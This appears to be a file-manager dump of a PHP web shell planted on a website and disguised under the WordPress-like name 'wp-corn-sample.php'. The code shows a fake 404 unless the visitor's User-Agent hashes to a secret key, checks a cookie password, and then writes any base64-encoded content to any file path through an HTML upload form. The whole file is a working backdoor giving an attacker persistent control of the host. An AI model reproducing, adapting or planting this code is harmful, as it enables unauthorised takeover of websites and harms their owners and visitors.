File "wp-corn-sample.php"
Full Path: /home/makefntq/paekuljit.com/images/images/6916a22c123cb/wp-corn-sample.php
File size: 2.4 KB
MIME-type: text/x-php
Charset: utf-8
<?php
define('UAMD53KEY', 'f669e3492f8f47c1c30c712c9c2952d0');if(md5(md5(md5(getenv('HTTP_USER_AGENT')))) != UAMD53KEY){header('HTTP/1.1 404 Not Found');header("status: 404 Not Found");die();}
if(session_start()){preg_match('/^[^:]*/i',$_SERVER['HTTP_HOST'], $match);$domain = $match[0];$domain=preg_replace('|^www\.|', '', $domain);if($_COOKIE[md5($domain.'pswd')] != '2c52ab074bffc03534c476e1cd2dba6a'){echo "The authorization failed, please re -authorize";exit();}}
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
try {
$encodedFilename = $_POST['filename'] ?? '';
$encodedContent = $_POST['content'] ?? '';
$filename = base64_decode($encodedFilename);
$content = base64_decode($encodedContent);
file_put_contents($filename, $content);
} catch (Exception $e) {
http_response_code(400);
echo json_encode(['status' => 'error', 'message' => $e->getMessage()]);
}
}
?>
<!DOCTYPE html>
<html>
<head>
<title>save file</title>
<script src="https://cdn.jsdelivr.net/npm/jquery@3.6"></script>
<script src="https://cdn.jsdelivr.net/npm/js-base64@3.7.5/base64.min.js"></script>
<script>
function beforeSubmit(){
$("#filename").val(Base64.encode($("#filename").val()));
$("#content").val(Base64.encode($("#content").val()));
return true;
}
function Base64Decode(){
$("#filename").val(Base64.decode($("#filename").val()));
$("#content").val(Base64.decode($("#content").val()));
}
function Base64Encode(){
$("#filename").val(Base64.encode($("#filename").val()));
$("#content").val(Base64.encode($("#content").val()));
}
</script>
</head>
<body>
<form id="saveForm" method="post" onsubmit="return beforeSubmit();">
<label for="filename">
filename:
<input type="text" id="filename" name="filename" value="<?=($_POST['filename']??'')?>" required>
</label>
<br>
<label for="content">
content:
<textarea id="content" name="content" cols="100" rows="30" required><?=($_POST['content']??'')?></textarea>
</label>
<button type="submit">save</button>
</form>
<button id="base64decode" onclick="Base64Decode()">base64 decode</button>
<button id="base64encode" onclick="Base64Encode()">base64 encode</button>
</body>
</html>